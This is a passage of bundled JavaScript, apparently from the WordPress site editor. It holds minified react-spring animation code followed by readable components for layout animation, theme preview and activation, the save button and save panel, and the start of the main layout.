Ze=ee===!0?0:ee;if(B.expired=!0,!Fe&&Ze>0){Ze<=2147483647&&(B.expirationId=setTimeout(A,Ze));return}}}Fe&&Te.some(ee=>ee.expired)&&(v.current.delete(B),u&&(w.current=!0),A())}};let ft=esm_e(y.ctrl,Z);D==="leave"&&u?v.current.set(y,{phase:D,springs:ft,payload:Z}):_.set(y,{phase:D,springs:ft,payload:Z})});let C=Hn(dist_esm_H),$=Zn(C),L=C!==$&&esm_Ue(C);Je(()=>{L&&j(c,y=>{y.ctrl.start({default:C})})},[C]),j(_,(y,T)=>{if(v.current.size){let F=c.findIndex(k=>k.key===T.key);c.splice(F,1)}}),Je(()=>{j(v.current.size?v.current:_,({phase:y,payload:T},F)=>{let{ctrl:k}=F;F.phase=y,m?.add(k),L&&y=="enter"&&k.start({default:C}),T&&(esm_he(k,T.ref),(k.ref||m)&&!w.current?k.update(T):(k.start(T),w.current&&(w.current=!1)))})},o?void 0:n);let N=y=>Oe.createElement(Oe.Fragment,null,c.map((T,F)=>{let{springs:k}=_.get(T)||T.ctrl,O=y({...k},T.item,T,F);return O&&O.type?Oe.createElement(O.type,{...O.props,key:G.str(T.key)||G.num(T.key)?T.key:T.ctrl.id,ref:O.ref}):O}));return m?[N,m]:N}var esm_er=1;function tr(t,{key:e,keys:n=e},r){if(n===null){let o=new Set;return t.map(s=>{let a=r&&r.find(i=>i.item===s&&i.phase!=="leave"&&!o.has(i));return a?(o.add(a),a.key):esm_er++})}return G.und(n)?t:G.fun(n)?t.map(n):zt(n)}var hs=({container:t,...e}={})=>{let[n,r]=esm_J(()=>({scrollX:0,scrollY:0,scrollXProgress:0,scrollYProgress:0,...e}),[]);return or(()=>{let o=rr(({x:s,y:a})=>{r.start({scrollX:s.current,scrollXProgress:s.progress,scrollY:a.current,scrollYProgress:a.progress})},{container:t?.current||void 0});return()=>{nr(Object.values(n),s=>s.stop()),o()}},[]),n};var Ps=({container:t,...e})=>{let[n,r]=esm_J(()=>({width:0,height:0,...e}),[]);return ar(()=>{let o=sr(({width:s,height:a})=>{r.start({width:s,height:a,immediate:n.width.get()===0||n.height.get()===0})},{container:t?.current||void 0});return()=>{ir(Object.values(n),s=>s.stop()),o()}},[]),n};var cr={any:0,all:1};function Cs(t,e){let[n,r]=pr(!1),o=ur(),s=Bt.fun(t)&&t,a=s?s():{},{to:i={},from:u={},...p}=a,f=s?e:t,[d,m]=esm_J(()=>({from:u,...p}),[]);return lr(()=>{let b=o.current,{root:c,once:P,amount:l="any",...h}=f??{};if(!b||P&&n||typeof IntersectionObserver>"u")return;let g=new WeakMap,x=()=>(i&&m.start(i),r(!0),P?void 0:()=>{u&&m.start(u),r(!1)}),S=V=>{V.forEach(_=>{let v=g.get(_.target);if(_.isIntersecting!==Boolean(v))if(_.isIntersecting){let w=x();Bt.fun(w)?g.set(_.target,w):A.unobserve(_.target)}else v&&(v(),g.delete(_.target))})},A=new IntersectionObserver(S,{root:c&&c.current||void 0,threshold:typeof l=="number"||Array.isArray(l)?l:cr[l],...h});return A.observe(b),()=>A.unobserve(b)},[f]),s?[o,d]:[o,n]}function qs({children:t,...e}){return t(esm_J(e))}function Bs({items:t,children:e,...n}){let r=esm_Qt(t.length,n);return t.map((o,s)=>{let a=e(o,s);return fr.fun(a)?a(r[s]):a})}function Ys({items:t,children:e,...n}){return esm_Gt(t,n)(e)}var esm_W=class extends esm_X{constructor(n,r){super();this.source=n;this.calc=W(...r);let o=this._get(),s=esm_Le(o);esm_D(this,s.create(o))}key;idle=!0;calc;_active=new Set;advance(n){let r=this._get(),o=this.get();bt(r,o)||(dist_esm_k(this).setValue(r),this._onChange(r,this.idle)),!this.idle&&Yt(this._active)&&esm_ct(this)}_get(){let n=dist_esm_l.arr(this.source)?this.source.map(ve):ht(ve(this.source));return this.calc(...n)}_start(){this.idle&&!Yt(this._active)&&(this.idle=!1,esm_Ve(F(this),n=>{n.done=!1}),dist_esm_p.skipAnimation?(esm_n.batchedUpdates(()=>this.advance()),esm_ct(this)):qe.start(this))}_attach(){let n=1;esm_Ve(ht(this.source),r=>{Pt(r)&&Gt(r,this),esm_Re(r)&&(r.idle||this._active.add(r),n=Math.max(n,r.priority+1))}),this.priority=n,this._start()}_detach(){esm_Ve(ht(this.source),n=>{Pt(n)&&Qt(n,this)}),this._active.clear(),esm_ct(this)}eventObserved(n){n.type=="change"?n.idle?this.advance():(this._active.add(n.parent),this._start()):n.type=="idle"?this._active.delete(n.parent):n.type=="priority"&&(this.priority=ht(this.source).reduce((r,o)=>Math.max(r,(esm_Re(o)?o.priority:0)+1),0))}};function vr(t){return t.idle!==!1}function Yt(t){return!t.size||Array.from(t).every(vr)}function esm_ct(t){t.idle||(t.idle=!0,esm_Ve(F(t),e=>{e.done=!0}),$t(t,{type:"idle",parent:t}))}var ui=(t,...e)=>new esm_W(t,e),pi=(t,...e)=>(Cr(),new esm_W(t,e));dist_esm_p.assign({createStringInterpolator:Xt,to:(t,e)=>new esm_W(t,e)});var di=qe.advance;
8414
8415;// external "ReactDOM"
8416const external_ReactDOM_namespaceObject = window["ReactDOM"];
8417;// ./node_modules/@react-spring/web/dist/esm/index.js
8418var web_dist_esm_k=/^--/;function web_dist_esm_I(t,e){return e==null||typeof e=="boolean"||e===""?"":typeof e=="number"&&e!==0&&!web_dist_esm_k.test(t)&&!(web_dist_esm_c.hasOwnProperty(t)&&web_dist_esm_c[t])?e+"px":(""+e).trim()}var web_dist_esm_v={};function esm_V(t,e){if(!t.nodeType||!t.setAttribute)return!1;let r=t.nodeName==="filter"||t.parentNode&&t.parentNode.nodeName==="filter",{style:i,children:s,scrollTop:u,scrollLeft:l,viewBox:a,...n}=e,d=Object.values(n),m=Object.keys(n).map(o=>r||t.hasAttribute(o)?o:web_dist_esm_v[o]||(web_dist_esm_v[o]=o.replace(/([A-Z])/g,p=>"-"+p.toLowerCase())));s!==void 0&&(t.textContent=s);for(let o in i)if(i.hasOwnProperty(o)){let p=web_dist_esm_I(o,i[o]);web_dist_esm_k.test(o)?t.style.setProperty(o,p):t.style[o]=p}m.forEach((o,p)=>{t.setAttribute(o,d[p])}),u!==void 0&&(t.scrollTop=u),l!==void 0&&(t.scrollLeft=l),a!==void 0&&t.setAttribute("viewBox",a)}var web_dist_esm_c={animationIterationCount:!0,borderImageOutset:!0,borderImageSlice:!0,borderImageWidth:!0,boxFlex:!0,boxFlexGroup:!0,boxOrdinalGroup:!0,columnCount:!0,columns:!0,flex:!0,flexGrow:!0,flexPositive:!0,flexShrink:!0,flexNegative:!0,flexOrder:!0,gridRow:!0,gridRowEnd:!0,gridRowSpan:!0,gridRowStart:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnSpan:!0,gridColumnStart:!0,fontWeight:!0,lineClamp:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,tabSize:!0,widows:!0,zIndex:!0,zoom:!0,fillOpacity:!0,floodOpacity:!0,stopOpacity:!0,strokeDasharray:!0,strokeDashoffset:!0,strokeMiterlimit:!0,strokeOpacity:!0,strokeWidth:!0},esm_F=(t,e)=>t+e.charAt(0).toUpperCase()+e.substring(1),esm_L=["Webkit","Ms","Moz","O"];web_dist_esm_c=Object.keys(web_dist_esm_c).reduce((t,e)=>(esm_L.forEach(r=>t[esm_F(r,e)]=t[e]),t),web_dist_esm_c);var esm_=/^(matrix|translate|scale|rotate|skew)/,dist_esm_$=/^(translate)/,dist_esm_G=/^(rotate|skew)/,web_dist_esm_y=(t,e)=>dist_esm_l.num(t)&&t!==0?t+e:t,web_dist_esm_h=(t,e)=>dist_esm_l.arr(t)?t.every(r=>web_dist_esm_h(r,e)):dist_esm_l.num(t)?t===e:parseFloat(t)===e,dist_esm_g=class extends animated_dist_esm_u{constructor({x:e,y:r,z:i,...s}){let u=[],l=[];(e||r||i)&&(u.push([e||0,r||0,i||0]),l.push(a=>[`translate3d(${a.map(n=>web_dist_esm_y(n,"px")).join(",")})`,web_dist_esm_h(a,0)])),xt(s,(a,n)=>{if(n==="transform")u.push([a||""]),l.push(d=>[d,d===""]);else if(esm_.test(n)){if(delete s[n],dist_esm_l.und(a))return;let d=dist_esm_$.test(n)?"px":dist_esm_G.test(n)?"deg":"";u.push(ht(a)),l.push(n==="rotate3d"?([m,o,p,O])=>[`rotate3d(${m},${o},${p},${web_dist_esm_y(O,d)})`,web_dist_esm_h(O,0)]:m=>[`${n}(${m.map(o=>web_dist_esm_y(o,d)).join(",")})`,web_dist_esm_h(m,n.startsWith("scale")?1:0)])}}),u.length&&(s.transform=new web_dist_esm_x(u,l)),super(s)}},web_dist_esm_x=class extends esm_ge{constructor(r,i){super();this.inputs=r;this.transforms=i}_value=null;get(){return this._value||(this._value=this._get())}_get(){let r="",i=!0;return esm_Ve(this.inputs,(s,u)=>{let l=ve(s[0]),[a,n]=this.transforms[u](dist_esm_l.arr(l)?l:s.map(ve));r+=" "+a,i=i&&n}),i?"none":r}observerAdded(r){r==1&&esm_Ve(this.inputs,i=>esm_Ve(i,s=>Pt(s)&&Gt(s,this)))}observerRemoved(r){r==0&&esm_Ve(this.inputs,i=>esm_Ve(i,s=>Pt(s)&&Qt(s,this)))}eventObserved(r){r.type=="change"&&(this._value=null),$t(this,r)}};var esm_C=["a","abbr","address","area","article","aside","audio","b","base","bdi","bdo","big","blockquote","body","br","button","canvas","caption","cite","code","col","colgroup","data","datalist","dd","del","details","dfn","dialog","div","dl","dt","em","embed","fieldset","figcaption","figure","footer","form","h1","h2","h3","h4","h5","h6","head","header","hgroup","hr","html","i","iframe","img","input","ins","kbd","keygen","label","legend","li","link","main","map","mark","menu","menuitem","meta","meter","nav","noscript","object","ol","optgroup","option","output","p","param","picture","pre","progress","q","rp","rt","ruby","s","samp","script","section","select","small","source","span","strong","style","sub","summary","sup","table","tbody","td","textarea","tfoot","th","thead","time","title","tr","track","u","ul","var","video","wbr","circle","clipPath","defs","ellipse","foreignObject","g","image","line","linearGradient","mask","path","pattern","polygon","polyline","radialGradient","rect","stop","svg","text","tspan"];dist_esm_p.assign({batchedUpdates:external_ReactDOM_namespaceObject.unstable_batchedUpdates,createStringInterpolator:Xt,colors:It});var dist_esm_q=dist_esm_Ke(esm_C,{applyAnimatedValues:esm_V,createAnimatedStyle:t=>new dist_esm_g(t),getComponentProps:({scrollTop:t,scrollLeft:e,...r})=>r}),dist_esm_it=dist_esm_q.animated;
8419
8420;// ./node_modules/@wordpress/edit-site/build-module/components/layout/animation.js
8421
8422
8423function getAbsolutePosition(element) {
8424 return {
8425 top: element.offsetTop,
8426 left: element.offsetLeft
8427 };
8428}
8429const ANIMATION_DURATION = 400;
8430function useMovingAnimation({ triggerAnimationOnChange }) {
8431 const ref = (0,external_wp_element_.useRef)();
8432 const { previous, prevRect } = (0,external_wp_element_.useMemo)(
8433 () => ({
8434 previous: ref.current && getAbsolutePosition(ref.current),
8435 prevRect: ref.current && ref.current.getBoundingClientRect()
8436 }),
8437 [triggerAnimationOnChange]
8438 );
8439 (0,external_wp_element_.useLayoutEffect)(() => {
8440 if (!previous || !ref.current) {
8441 return;
8442 }
8443 const disableAnimation = window.matchMedia(
8444 "(prefers-reduced-motion: reduce)"
8445 ).matches;
8446 if (disableAnimation) {
8447 return;
8448 }
8449 const controller = new esm_le({
8450 x: 0,
8451 y: 0,
8452 width: prevRect.width,
8453 height: prevRect.height,
8454 config: {
8455 duration: ANIMATION_DURATION,
8456 easing: Lt.easeInOutQuint
8457 },
8458 onChange({ value }) {
8459 if (!ref.current) {
8460 return;
8461 }
8462 let { x: x2, y: y2, width: width2, height: height2 } = value;
8463 x2 = Math.round(x2);
8464 y2 = Math.round(y2);
8465 width2 = Math.round(width2);
8466 height2 = Math.round(height2);
8467 const finishedMoving = x2 === 0 && y2 === 0;
8468 ref.current.style.transformOrigin = "center center";
8469 ref.current.style.transform = finishedMoving ? null : `translate3d(${x2}px,${y2}px,0)`;
8470 ref.current.style.width = finishedMoving ? null : `${width2}px`;
8471 ref.current.style.height = finishedMoving ? null : `${height2}px`;
8472 }
8473 });
8474 ref.current.style.transform = void 0;
8475 const destination = ref.current.getBoundingClientRect();
8476 const x = Math.round(prevRect.left - destination.left);
8477 const y = Math.round(prevRect.top - destination.top);
8478 const width = destination.width;
8479 const height = destination.height;
8480 controller.start({
8481 x: 0,
8482 y: 0,
8483 width,
8484 height,
8485 from: { x, y, width: prevRect.width, height: prevRect.height }
8486 });
8487 return () => {
8488 controller.stop();
8489 controller.set({
8490 x: 0,
8491 y: 0,
8492 width: prevRect.width,
8493 height: prevRect.height
8494 });
8495 };
8496 }, [previous, prevRect]);
8497 return ref;
8498}
8499var animation_default = useMovingAnimation;
8500
8501
8502;// ./node_modules/@wordpress/icons/build-module/library/check.js
8503
8504
8505var check_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M16.5 7.5 10 13.9l-2.5-2.4-1 1 3.5 3.6 7.5-7.6z" }) });
8506
8507
8508;// ./node_modules/@wordpress/edit-site/build-module/utils/is-previewing-theme.js
8509
8510function isPreviewingTheme() {
8511 return !!(0,external_wp_url_namespaceObject.getQueryArg)(window.location.href, "wp_theme_preview");
8512}
8513function currentlyPreviewingTheme() {
8514 if (isPreviewingTheme()) {
8515 return (0,external_wp_url_namespaceObject.getQueryArg)(window.location.href, "wp_theme_preview");
8516 }
8517 return null;
8518}
8519
8520
8521;// ./node_modules/@wordpress/edit-site/build-module/components/save-button/index.js
8522
8523
8524
8525
8526
8527
8528
8529
8530
8531
8532
8533const { useLocation: save_button_useLocation } = unlock(external_wp_router_namespaceObject.privateApis);
8534function SaveButton({
8535 className = "edit-site-save-button__button",
8536 variant = "primary",
8537 showTooltip = true,
8538 showReviewMessage,
8539 icon,
8540 size,
8541 __next40pxDefaultSize = false
8542}) {
8543 const { params } = save_button_useLocation();
8544 const { setIsSaveViewOpened } = (0,external_wp_data_.useDispatch)(store);
8545 const { saveDirtyEntities } = unlock((0,external_wp_data_.useDispatch)(external_wp_editor_namespaceObject.store));
8546 const { dirtyEntityRecords } = (0,external_wp_editor_namespaceObject.useEntitiesSavedStatesIsDirty)();
8547 const { isSaving, isSaveViewOpen, previewingThemeName } = (0,external_wp_data_.useSelect)(
8548 (select) => {
8549 const { isSavingEntityRecord, isResolving } = select(external_wp_coreData_namespaceObject.store);
8550 const { isSaveViewOpened } = select(store);
8551 const isActivatingTheme = isResolving("activateTheme");
8552 const currentlyPreviewingThemeId = currentlyPreviewingTheme();
8553 return {
8554 isSaving: dirtyEntityRecords.some(
8555 (record) => isSavingEntityRecord(
8556 record.kind,
8557 record.name,
8558 record.key
8559 )
8560 ) || isActivatingTheme,
8561 isSaveViewOpen: isSaveViewOpened(),
8562 // Do not call `getTheme` with null, it will cause a request to
8563 // the server.
8564 previewingThemeName: currentlyPreviewingThemeId ? select(external_wp_coreData_namespaceObject.store).getTheme(currentlyPreviewingThemeId)?.name?.rendered : void 0
8565 };
8566 },
8567 [dirtyEntityRecords]
8568 );
8569 const hasDirtyEntities = !!dirtyEntityRecords.length;
8570 let isOnlyCurrentEntityDirty;
8571 if (dirtyEntityRecords.length === 1) {
8572 if (params.postId) {
8573 isOnlyCurrentEntityDirty = `${dirtyEntityRecords[0].key}` === params.postId && dirtyEntityRecords[0].name === params.postType;
8574 } else if (params.path?.includes("wp_global_styles")) {
8575 isOnlyCurrentEntityDirty = dirtyEntityRecords[0].name === "globalStyles";
8576 }
8577 }
8578 const disabled = isSaving || !hasDirtyEntities && !isPreviewingTheme();
8579 const getLabel = () => {
8580 if (isPreviewingTheme()) {
8581 if (isSaving) {
8582 return (0,external_wp_i18n_namespaceObject.sprintf)(
8583 /* translators: %s: The name of theme to be activated. */
8584 (0,external_wp_i18n_namespaceObject.__)("Activating %s"),
8585 previewingThemeName
8586 );
8587 } else if (disabled) {
8588 return (0,external_wp_i18n_namespaceObject.__)("Saved");
8589 } else if (hasDirtyEntities) {
8590 return (0,external_wp_i18n_namespaceObject.sprintf)(
8591 /* translators: %s: The name of theme to be activated. */
8592 (0,external_wp_i18n_namespaceObject.__)("Activate %s & Save"),
8593 previewingThemeName
8594 );
8595 }
8596 return (0,external_wp_i18n_namespaceObject.sprintf)(
8597 /* translators: %s: The name of theme to be activated. */
8598 (0,external_wp_i18n_namespaceObject.__)("Activate %s"),
8599 previewingThemeName
8600 );
8601 }
8602 if (isSaving) {
8603 return (0,external_wp_i18n_namespaceObject.__)("Saving");
8604 }
8605 if (disabled) {
8606 return (0,external_wp_i18n_namespaceObject.__)("Saved");
8607 }
8608 if (!isOnlyCurrentEntityDirty && showReviewMessage) {
8609 return (0,external_wp_i18n_namespaceObject.sprintf)(
8610 // translators: %d: number of unsaved changes (number).
8611 (0,external_wp_i18n_namespaceObject._n)(
8612 "Review %d change\u2026",
8613 "Review %d changes\u2026",
8614 dirtyEntityRecords.length
8615 ),
8616 dirtyEntityRecords.length
8617 );
8618 }
8619 return (0,external_wp_i18n_namespaceObject.__)("Save");
8620 };
8621 const label = getLabel();
8622 const onClick = isOnlyCurrentEntityDirty ? () => saveDirtyEntities({ dirtyEntityRecords }) : () => setIsSaveViewOpened(true);
8623 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
8624 external_wp_components_namespaceObject.Button,
8625 {
8626 variant,
8627 className,
8628 "aria-disabled": disabled,
8629 "aria-expanded": isSaveViewOpen,
8630 isBusy: isSaving,
8631 onClick: disabled ? void 0 : onClick,
8632 label,
8633 shortcut: disabled ? void 0 : external_wp_keycodes_namespaceObject.displayShortcut.primary("s"),
8634 showTooltip,
8635 icon,
8636 __next40pxDefaultSize,
8637 size,
8638 children: label
8639 }
8640 );
8641}
8642
8643
8644;// ./node_modules/@wordpress/edit-site/build-module/components/save-hub/index.js
8645
8646
8647
8648
8649
8650
8651
8652function SaveHub() {
8653 const { isDisabled, isSaving } = (0,external_wp_data_.useSelect)((select) => {
8654 const { __experimentalGetDirtyEntityRecords, isSavingEntityRecord } = select(external_wp_coreData_namespaceObject.store);
8655 const dirtyEntityRecords = __experimentalGetDirtyEntityRecords();
8656 const _isSaving = dirtyEntityRecords.some(
8657 (record) => isSavingEntityRecord(record.kind, record.name, record.key)
8658 );
8659 return {
8660 isSaving: _isSaving,
8661 isDisabled: _isSaving || !dirtyEntityRecords.length && !isPreviewingTheme()
8662 };
8663 }, []);
8664 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHStack, { className: "edit-site-save-hub", alignment: "right", spacing: 4, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
8665 SaveButton,
8666 {
8667 className: "edit-site-save-hub__button",
8668 variant: isDisabled ? null : "primary",
8669 showTooltip: false,
8670 icon: isDisabled && !isSaving ? check_default : null,
8671 showReviewMessage: true,
8672 __next40pxDefaultSize: true
8673 }
8674 ) });
8675}
8676
8677
8678;// ./node_modules/@wordpress/edit-site/build-module/utils/use-activate-theme.js
8679
8680
8681
8682
8683
8684
8685const { useHistory: use_activate_theme_useHistory, useLocation: use_activate_theme_useLocation } = unlock(external_wp_router_namespaceObject.privateApis);
8686function useActivateTheme() {
8687 const history = use_activate_theme_useHistory();
8688 const { path } = use_activate_theme_useLocation();
8689 const { startResolution, finishResolution } = (0,external_wp_data_.useDispatch)(external_wp_coreData_namespaceObject.store);
8690 return async () => {
8691 if (isPreviewingTheme()) {
8692 const activationURL = "themes.php?action=activate&stylesheet=" + currentlyPreviewingTheme() + "&_wpnonce=" + window.WP_BLOCK_THEME_ACTIVATE_NONCE;
8693 startResolution("activateTheme");
8694 await window.fetch(activationURL);
8695 finishResolution("activateTheme");
8696 history.navigate((0,external_wp_url_namespaceObject.addQueryArgs)(path, { wp_theme_preview: "" }));
8697 }
8698 };
8699}
8700
8701
8702;// external ["wp","apiFetch"]
8703const external_wp_apiFetch_namespaceObject = window["wp"]["apiFetch"];
8704var external_wp_apiFetch_default = /*#__PURE__*/__webpack_require__.n(external_wp_apiFetch_namespaceObject);
8705;// ./node_modules/@wordpress/edit-site/build-module/utils/use-actual-current-theme.js
8706
8707
8708
8709const ACTIVE_THEMES_URL = "/wp/v2/themes?status=active";
8710function useActualCurrentTheme() {
8711 const [currentTheme, setCurrentTheme] = (0,external_wp_element_.useState)();
8712 (0,external_wp_element_.useEffect)(() => {
8713 const path = (0,external_wp_url_namespaceObject.addQueryArgs)(ACTIVE_THEMES_URL, {
8714 context: "edit",
8715 wp_theme_preview: ""
8716 });
8717 external_wp_apiFetch_default()({ path }).then((activeThemes) => setCurrentTheme(activeThemes[0])).catch(() => {
8718 });
8719 }, []);
8720 return currentTheme;
8721}
8722
8723
8724;// ./node_modules/@wordpress/edit-site/build-module/components/save-panel/index.js
8725
8726
8727
8728
8729
8730
8731
8732
8733
8734
8735
8736
8737
8738
8739
8740const { EntitiesSavedStatesExtensible } = unlock(external_wp_editor_namespaceObject.privateApis);
8741const { useLocation: save_panel_useLocation } = unlock(external_wp_router_namespaceObject.privateApis);
8742const EntitiesSavedStatesForPreview = ({
8743 onClose,
8744 renderDialog,
8745 variant
8746}) => {
8747 const isDirtyProps = (0,external_wp_editor_namespaceObject.useEntitiesSavedStatesIsDirty)();
8748 let activateSaveLabel;
8749 if (isDirtyProps.isDirty) {
8750 activateSaveLabel = (0,external_wp_i18n_namespaceObject.__)("Activate & Save");
8751 } else {
8752 activateSaveLabel = (0,external_wp_i18n_namespaceObject.__)("Activate");
8753 }
8754 const currentTheme = useActualCurrentTheme();
8755 const previewingTheme = (0,external_wp_data_.useSelect)(
8756 (select) => select(external_wp_coreData_namespaceObject.store).getCurrentTheme(),
8757 []
8758 );
8759 const additionalPrompt = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { children: (0,external_wp_i18n_namespaceObject.sprintf)(
8760 /* translators: 1: The name of active theme, 2: The name of theme to be activated. */
8761 (0,external_wp_i18n_namespaceObject.__)(
8762 "Saving your changes will change your active theme from %1$s to %2$s."
8763 ),
8764 currentTheme?.name?.rendered ?? "...",
8765 previewingTheme?.name?.rendered ?? "..."
8766 ) });
8767 const activateTheme = useActivateTheme();
8768 const onSave = async (values) => {
8769 await activateTheme();
8770 return values;
8771 };
8772 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
8773 EntitiesSavedStatesExtensible,
8774 {
8775 ...{
8776 ...isDirtyProps,
8777 additionalPrompt,
8778 close: onClose,
8779 onSave,
8780 saveEnabled: true,
8781 saveLabel: activateSaveLabel,
8782 renderDialog,
8783 variant
8784 }
8785 }
8786 );
8787};
8788const _EntitiesSavedStates = ({ onClose, renderDialog, variant }) => {
8789 if (isPreviewingTheme()) {
8790 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
8791 EntitiesSavedStatesForPreview,
8792 {
8793 onClose,
8794 renderDialog,
8795 variant
8796 }
8797 );
8798 }
8799 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
8800 external_wp_editor_namespaceObject.EntitiesSavedStates,
8801 {
8802 close: onClose,
8803 renderDialog,
8804 variant
8805 }
8806 );
8807};
8808function SavePanel() {
8809 const { query } = save_panel_useLocation();
8810 const { canvas = "view" } = query;
8811 const { isSaveViewOpen, isDirty, isSaving } = (0,external_wp_data_.useSelect)((select) => {
8812 const {
8813 __experimentalGetDirtyEntityRecords,
8814 isSavingEntityRecord,
8815 isResolving
8816 } = select(external_wp_coreData_namespaceObject.store);
8817 const dirtyEntityRecords = __experimentalGetDirtyEntityRecords();
8818 const isActivatingTheme = isResolving("activateTheme");
8819 const { isSaveViewOpened } = unlock(select(store));
8820 return {
8821 isSaveViewOpen: isSaveViewOpened(),
8822 isDirty: dirtyEntityRecords.length > 0,
8823 isSaving: dirtyEntityRecords.some(
8824 (record) => isSavingEntityRecord(record.kind, record.name, record.key)
8825 ) || isActivatingTheme
8826 };
8827 }, []);
8828 const { setIsSaveViewOpened } = (0,external_wp_data_.useDispatch)(store);
8829 const onClose = () => setIsSaveViewOpened(false);
8830 (0,external_wp_element_.useEffect)(() => {
8831 setIsSaveViewOpened(false);
8832 }, [canvas, setIsSaveViewOpened]);
8833 if (canvas === "view") {
8834 return isSaveViewOpen ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
8835 external_wp_components_namespaceObject.Modal,
8836 {
8837 className: "edit-site-save-panel__modal",
8838 onRequestClose: onClose,
8839 title: (0,external_wp_i18n_namespaceObject.__)("Review changes"),
8840 size: "small",
8841 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(_EntitiesSavedStates, { onClose, variant: "inline" })
8842 }
8843 ) : null;
8844 }
8845 const activateSaveEnabled = isPreviewingTheme() || isDirty;
8846 const disabled = isSaving || !activateSaveEnabled;
8847 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
8848 navigable_region_default,
8849 {
8850 className: dist_clsx("edit-site-layout__actions", {
8851 "is-entity-save-view-open": isSaveViewOpen
8852 }),
8853 ariaLabel: (0,external_wp_i18n_namespaceObject.__)("Save panel"),
8854 children: [
8855 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
8856 "div",
8857 {
8858 className: dist_clsx("edit-site-editor__toggle-save-panel", {
8859 "screen-reader-text": isSaveViewOpen
8860 }),
8861 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
8862 external_wp_components_namespaceObject.Button,
8863 {
8864 __next40pxDefaultSize: true,
8865 variant: "secondary",
8866 className: "edit-site-editor__toggle-save-panel-button",
8867 onClick: () => setIsSaveViewOpened(true),
8868 "aria-haspopup": "dialog",
8869 disabled,
8870 accessibleWhenDisabled: true,
8871 children: (0,external_wp_i18n_namespaceObject.__)("Open save panel")
8872 }
8873 )
8874 }
8875 ),
8876 isSaveViewOpen && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(_EntitiesSavedStates, { onClose, renderDialog: true })
8877 ]
8878 }
8879 );
8880}
8881
8882
8883;// ./node_modules/@wordpress/edit-site/build-module/components/layout/index.js
8884
8885
8886
8887
8888
8889
8890
8891
8892
8893
8894
8895
8896
8897
8898
8899
8900
8901
8902
8903
8904
8905
8906
8907const { useGlobalStyle: layout_useGlobalStyle } = unlock(external_wp_blockEditor_namespaceObject.privateApis);
8908const { GlobalStylesProvider } = unlock(external_wp_editor_namespaceObject.privateApis);
8909const { useLocation: layout_useLocation } = unlock(external_wp_router_namespaceObject.privateApis);
8910const layout_ANIMATION_DURATION = 0.3;
8911function Layout() {
8912 const { query, name: routeKey, areas, widths } = layout_useLocation();
8913 const { canvas = "view" } = query;
8914 const isMobileViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)("medium", "<");
8915 const toggleRef = (0,external_wp_element_.useRef)();
8916 const navigateRegionsProps = (0,external_wp_components_namespaceObject.__unstableUseNavigateRegions)();
8917 const disableMotion = (0,external_wp_compose_namespaceObject.useReducedMotion)();
8918 const [canvasResizer, canvasSize] = (0,external_wp_compose_namespaceObject.useResizeObserver)();
8919 const isEditorLoading = useIsSiteEditorLoading();
8920 const [isResizableFrameOversized, setIsResizableFrameOversized] = (0,external_wp_element_.useState)(false);
8921 const animationRef = animation_default({
8922 triggerAnimationOnChange: routeKey + "-" + canvas
8923 });
8924 const { showIconLabels } = (0,external_wp_data_.useSelect)((select) => {
8925 return {
8926 showIconLabels: select(external_wp_preferences_.store).get(
8927 "core",
8928 "showIconLabels"
8929 )
8930 };
8931 });
8932 const [backgroundColor] = layout_useGlobalStyle("color.background");
8933 const [gradientValue] = layout_useGlobalStyle("color.gradient");
8934 const previousCanvaMode = (0,external_wp_compose_namespaceObject.usePrevious)(canvas);
8935 (0,external_wp_element_.useEffect)(() => {
8936 if (previousCanvaMode === "edit") {
8937 toggleRef.current?.focus();
8938 }
8939 }, [canvas]);
8940 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
8941 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_editor_namespaceObject.UnsavedChangesWarning, {}),
8942 canvas === "view" && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(SaveKeyboardShortcut, {}),
8943 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
8944 "div",
8945 {
8946 ...navigateRegionsProps,
8947 ref: navigateRegionsProps.ref,
8948 className: dist_clsx(
8949 "edit-site-layout",
8950 navigateRegionsProps.className,
8951 {
8952 "is-full-canvas": canvas === "edit",
8953 "show-icon-labels": showIconLabels
8954 }
8955 ),
8956 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "edit-site-layout__content", children: [
8957 (!isMobileViewport || !areas.mobile) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
8958 navigable_region_default,
8959 {
8960 ariaLabel: (0,external_wp_i18n_namespaceObject.__)("Navigation"),
8961 className: "edit-site-layout__sidebar-region",
8962 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__unstableAnimatePresence, { children: canvas === "view" && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
8963 external_wp_components_namespaceObject.__unstableMotion.div,
8964 {
8965 initial: { opacity: 0 },
